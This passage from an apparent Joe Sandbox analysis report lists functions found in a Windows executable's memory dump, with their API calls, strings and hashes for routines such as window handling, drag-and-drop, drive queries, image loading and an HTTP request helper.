mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009B401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009B4059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009B4087

Strings

close cd wait, xrefs: 009B4072
open, xrefs: 009B3F54, 009B3F59
wait, xrefs: 009B4044
type cdaudio alias cd wait, xrefs: 009B4001
closed, xrefs: 009B3F08, 009B3F2D, 009B3F46, 009B3F7E, 009B3F97
open , xrefs: 009B3FE5
close, xrefs: 009B3EFE, 009B3F18
set cd door , xrefs: 009B4028

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 082a93af8c6b139b3dd4fc753f482a0d11308a9da8c25ecf3d60d429de97b975
Instruction ID: b1f370ee27e7226c3d1d79f0d7da291fd39a2628b38200d145bf2ff50683a1fd
Opcode Fuzzy Hash: 082a93af8c6b139b3dd4fc753f482a0d11308a9da8c25ecf3d60d429de97b975
Instruction Fuzzy Hash: 2271F272A042029FD310EF34C9809ABB7F8EF94768F00892DF99597291EB30DD45CB91

Function 009A5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 009A5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 009A5A40
SetWindowTextW.USER32(?,?), ref: 009A5A57
GetDlgItem.USER32(?,000003EA), ref: 009A5A6C
SetWindowTextW.USER32(00000000,?), ref: 009A5A72
GetDlgItem.USER32(?,000003E9), ref: 009A5A82
SetWindowTextW.USER32(00000000,?), ref: 009A5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 009A5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 009A5AC3
GetWindowRect.USER32(?,?), ref: 009A5ACC
_wcslen.LIBCMT ref: 009A5B33
SetWindowTextW.USER32(?,?), ref: 009A5B6F
GetDesktopWindow.USER32 ref: 009A5B75
GetWindowRect.USER32(00000000), ref: 009A5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 009A5BD3
GetClientRect.USER32(?,?), ref: 009A5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 009A5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 009A5C2F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 209ccf3975526bdccdff1f5b4d5689f7fead167adec1a553729d58871e6f968c
Instruction ID: f889695cebf1f23f698a949fe64ad0fe98bbc20a0d215de28a241e804c45c1f2
Opcode Fuzzy Hash: 209ccf3975526bdccdff1f5b4d5689f7fead167adec1a553729d58871e6f968c
Instruction Fuzzy Hash: 9E718071A00B06AFDB20DFA8CE45B6EBBF9FF48705F114919E142A25A0D774E944DB60

Function 009BFE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 009BFE27
LoadCursorW.USER32(00000000,00007F8A), ref: 009BFE32
LoadCursorW.USER32(00000000,00007F00), ref: 009BFE3D
LoadCursorW.USER32(00000000,00007F03), ref: 009BFE48
LoadCursorW.USER32(00000000,00007F8B), ref: 009BFE53
LoadCursorW.USER32(00000000,00007F01), ref: 009BFE5E
LoadCursorW.USER32(00000000,00007F81), ref: 009BFE69
LoadCursorW.USER32(00000000,00007F88), ref: 009BFE74
LoadCursorW.USER32(00000000,00007F80), ref: 009BFE7F
LoadCursorW.USER32(00000000,00007F86), ref: 009BFE8A
LoadCursorW.USER32(00000000,00007F83), ref: 009BFE95
LoadCursorW.USER32(00000000,00007F85), ref: 009BFEA0
LoadCursorW.USER32(00000000,00007F82), ref: 009BFEAB
LoadCursorW.USER32(00000000,00007F84), ref: 009BFEB6
LoadCursorW.USER32(00000000,00007F04), ref: 009BFEC1
LoadCursorW.USER32(00000000,00007F02), ref: 009BFECC
GetCursorInfo.USER32(?), ref: 009BFEDC
GetLastError.KERNEL32 ref: 009BFF1E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: a39b585de4395f078598fc468e0f8ca5de9e25eabb24fe74765a0ba231071509
Instruction ID: 5d089daf144703f7e679aa446db51aef3e7dccce00a1ab922e75f7f6355cf0b8
Opcode Fuzzy Hash: a39b585de4395f078598fc468e0f8ca5de9e25eabb24fe74765a0ba231071509
Instruction Fuzzy Hash: 764144B0D493196ADB109FBA8C85C6EBFE8FF04764B50452AE11DE7281DB78D901CE91

Function 009600C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 009600C6

Part of subcall function 009600ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00A1070C,00000FA0,296AF105,?,?,?,?,009823B3,000000FF), ref: 0096011C
Part of subcall function 009600ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,009823B3,000000FF), ref: 00960127
Part of subcall function 009600ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,009823B3,000000FF), ref: 00960138
Part of subcall function 009600ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0096014E
Part of subcall function 009600ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0096015C
Part of subcall function 009600ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0096016A
Part of subcall function 009600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00960195
Part of subcall function 009600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009601A0

___scrt_fastfail.LIBCMT ref: 009600E7

Part of subcall function 009600A3: __onexit.LIBCMT ref: 009600A9

Strings

InitializeConditionVariable, xrefs: 00960148
kernel32.dll, xrefs: 00960133
SleepConditionVariableCS, xrefs: 00960154
WakeAllConditionVariable, xrefs: 00960162
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00960122

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: a895f01612b7ac9ed4ec7627f78510a4c13728f523024b0c2200b5ebd879a260
Instruction ID: 48c71faa0a0ea6d4c397016901b2bc271431eeed148f78c51a4bf9cd2ad439c0
Opcode Fuzzy Hash: a895f01612b7ac9ed4ec7627f78510a4c13728f523024b0c2200b5ebd879a260
Instruction Fuzzy Hash: BF21297268D7126FD7109BA4AC96F6B3398EBC6B61F014527F802E33D1DBA49840CA90

Function 009A30F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009A318D
_wcslen.LIBCMT ref: 009A31F8

Strings

NAME, xrefs: 009A3335, 009A3346
REGEXPCLASS, xrefs: 009A3255, 009A3266
INSTANCE, xrefs: 009A3453
CLASSNN, xrefs: 009A31F3, 009A3204
CLASS, xrefs: 009A3188, 009A31A5
TEXT, xrefs: 009A347C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 025ad425bc1748f6df3472d2e51fd2f63b647fb67e07e9e33b73dffcd0c0a798
Instruction ID: 55038f3c237b34449daf11face9524ee20174483f21012eb751f60a10fdf3b5b
Opcode Fuzzy Hash: 025ad425bc1748f6df3472d2e51fd2f63b647fb67e07e9e33b73dffcd0c0a798
Instruction Fuzzy Hash: F9E1D232E00516ABCB14DFB8C451BEEFBA8BF56750F54C119F456A7240EB30AE858BD0

Function 009B44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,009DCC08), ref: 009B4527
_wcslen.LIBCMT ref: 009B453B
_wcslen.LIBCMT ref: 009B4599
_wcslen.LIBCMT ref: 009B45F4
_wcslen.LIBCMT ref: 009B463F
_wcslen.LIBCMT ref: 009B46A7

Part of subcall function 0095F9F2: _wcslen.LIBCMT ref: 0095F9FD

GetDriveTypeW.KERNEL32(?,00A06BF0,00000061), ref: 009B4743

Strings

all, xrefs: 009B4531, 009B4536
unknown, xrefs: 009B4708
cdrom, xrefs: 009B458F, 009B4594
network, xrefs: 009B469D, 009B46A2
ramdisk, xrefs: 009B46F1
removable, xrefs: 009B45EA, 009B45EF
fixed, xrefs: 009B4635, 009B463A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 297ae6070ad0bb4ef1806f74b3f50e4a31e5ed7c86922d43b588ad2dfa5d3ade
Instruction ID: e9ef08153df8add17f40b8733ab20967d47245bb57ec163f926af6cb4e2311a5
Opcode Fuzzy Hash: 297ae6070ad0bb4ef1806f74b3f50e4a31e5ed7c86922d43b588ad2dfa5d3ade
Instruction Fuzzy Hash: 1AB1F3716083029FC710DF28DA90AAAB7E9BFE6774F50491DF496C7292DB30D844DB92

Function 009C3FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,009DCC08), ref: 009C40BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 009C40CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,009DCC08), ref: 009C40F2
FreeLibrary.KERNEL32(00000000,?,009DCC08), ref: 009C413E
StringFromGUID2.OLE32(?,?,00000028,?,009DCC08), ref: 009C41A8
SysFreeString.OLEAUT32(00000009), ref: 009C4262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 009C42C8
SysFreeString.OLEAUT32(?), ref: 009C42F2

Strings

kernel32.dll, xrefs: 009C40B6
GetModuleHandleExW, xrefs: 009C40C7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: 948e7a5fa7633f8bd06a1a470f4096a1766bf5a0f029f1931608074987149cef
Instruction ID: 882f489f94b8f0180c94f2e8318dcf5f5ce9d983a122f180fa45229b1121eb92
Opcode Fuzzy Hash: 948e7a5fa7633f8bd06a1a470f4096a1766bf5a0f029f1931608074987149cef
Instruction Fuzzy Hash: 76122975E00119EFDB14CF94C894FAEBBB9BF85314F248099E905AB261D731ED42CBA1

Function 0094326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00A11990), ref: 00982F8D
GetMenuItemCount.USER32(00A11990), ref: 0098303D
GetCursorPos.USER32(?), ref: 00983081
SetForegroundWindow.USER32(00000000), ref: 0098308A
TrackPopupMenuEx.USER32(00A11990,00000000,?,00000000,00000000,00000000), ref: 0098309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 009830A9

Strings

0, xrefs: 0094327D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 96c1de2f61e8744fa6491ecd03ff6e20f5c89d1f00a3d546c949e11e56384e48
Instruction ID: 5147f77b53c56699808052d7597554f9febd4e893544413dd6f8416b237e21db
Opcode Fuzzy Hash: 96c1de2f61e8744fa6491ecd03ff6e20f5c89d1f00a3d546c949e11e56384e48
Instruction Fuzzy Hash: 18713C70644206BFEB219F74DC49F9ABF68FF45724F208216F6246A2E1C7B1AD50DB90

Function 009D6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 009D6DEB

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 009D6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 009D6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 009D6E94
DestroyWindow.USER32(?), ref: 009D6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00940000,00000000), ref: 009D6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 009D6EFD
GetDesktopWindow.USER32 ref: 009D6F16
GetWindowRect.USER32(00000000), ref: 009D6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 009D6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 009D6F4D

Part of subcall function 00959944: GetWindowLongW.USER32(?,000000EB), ref: 00959952

Strings

tooltips_class32, xrefs: 009D6E58, 009D6EDD
0, xrefs: 009D6D98

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: fd85a23cfce3b1e914830fb3e070e05f2a893bb3dc138b1e84c4d740b458937e
Instruction ID: 21db47db15120829ffc68a7561ce9cc7aa3f9f1ae30459fff1310dcbd8435a62
Opcode Fuzzy Hash: fd85a23cfce3b1e914830fb3e070e05f2a893bb3dc138b1e84c4d740b458937e
Instruction Fuzzy Hash: 167178B4184245AFDB21CF18D844FAABBF9FB99304F44881EF99987360C770E946DB11

Function 009D911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

DragQueryPoint.SHELL32(?,?), ref: 009D9147

Part of subcall function 009D7674: ClientToScreen.USER32(?,?), ref: 009D769A
Part of subcall function 009D7674: GetWindowRect.USER32(?,?), ref: 009D7710
Part of subcall function 009D7674: PtInRect.USER32(?,?,009D8B89), ref: 009D7720

SendMessageW.USER32(?,000000B0,?,?), ref: 009D91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 009D91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 009D91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 009D9225
SendMessageW.USER32(?,000000B0,?,?), ref: 009D923E
SendMessageW.USER32(?,000000B1,?,?), ref: 009D9255
SendMessageW.USER32(?,000000B1,?,?), ref: 009D9277
DragFinish.SHELL32(?), ref: 009D927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 009D9371

Strings

@GUI_DRAGFILE, xrefs: 009D9320
@GUI_DRAGID, xrefs: 009D92E9
@GUI_DROPID, xrefs: 009D929E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 52426f408854968bfa610ac2291dee2ad5fbf961678d1dee9f560f89dea696e1
Instruction ID: a07e3ff8bc01bd648b98e1f6652ea445678ad83792ccad15988b285963d7c10f
Opcode Fuzzy Hash: 52426f408854968bfa610ac2291dee2ad5fbf961678d1dee9f560f89dea696e1
Instruction Fuzzy Hash: 2E617B71148301AFC701EF64DC85EAFBBE8EFC9750F404A1EF595922A1DB309A49CB52

Function 009BC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 009BC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 009BC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 009BC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 009BC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 009BC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 009BC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009BC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 009BC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 009BC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 009BC5F0
InternetCloseHandle.WININET(00000000), ref: 009BC5FB

Strings

, xrefs: 009BC575

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 3bd5277dbddba92be5c08ba308e604029f8284773ba5e2949943f0ca7e3fd433
Instruction ID: 4830540769d0a19dc48365f3bb891f89d542db8fde5502213d49430c274ad310
Opcode Fuzzy Hash: 3bd5277dbddba92be5c08ba308e604029f8284773ba5e2949943f0ca7e3fd433
Instruction Fuzzy Hash: 7A514BF1545209BFDB219F64CA88AEB7BBCFF48764F00441AF945D6210DB74EA44EBA0

Function 009D856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 009D8592
GetFileSize.KERNEL32(00000000,00000000), ref: 009D85A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 009D85AD
CloseHandle.KERNEL32(00000000), ref: 009D85BA
GlobalLock.KERNEL32(00000000), ref: 009D85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 009D85D7
GlobalUnlock.KERNEL32(00000000), ref: 009D85E0
CloseHandle.KERNEL32(00000000), ref: 009D85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 009D85F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,009DFC38,?), ref: 009D8611
GlobalFree.KERNEL32(00000000), ref: 009D8621
GetObjectW.GDI32(?,00000018,000000FF), ref: 009D8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 009D8671
DeleteObject.GDI32(00000000), ref: 009D8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 009D86AF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 04cd625237ff3d66e86f04eff33dd7bf891f99433fb771369b9d1216b552c0b8
Instruction ID: e437139f1dcbf01d89603ea0ebfb489ac078da978f2c1d488b3102cb16bf6b81
Opcode Fuzzy Hash: 04cd625237ff3d66e86f04eff33dd7bf891f99433fb771369b9d1216b552c0b8
Instruction Fuzzy Hash: EE4159B1681205AFDB108FA5DC48EAF7BBCEF89751F00815AF915E7260DB30D941DB20

Function 009B14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 009B1502
VariantCopy.OLEAUT32(?,?), ref: 009B150B
VariantClear.OLEAUT32(?), ref: 009B1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 009B15FB
VarR8FromDec.OLEAUT32(?,?), ref: 009B1657
VariantInit.OLEAUT32(?), ref: 009B1708
SysFreeString.OLEAUT32(?), ref: 009B178C
VariantClear.OLEAUT32(?), ref: 009B17D8
VariantClear.OLEAUT32(?), ref: 009B17E7
VariantInit.OLEAUT32(00000000), ref: 009B1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 009B1625
Default, xrefs: 009B16AF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
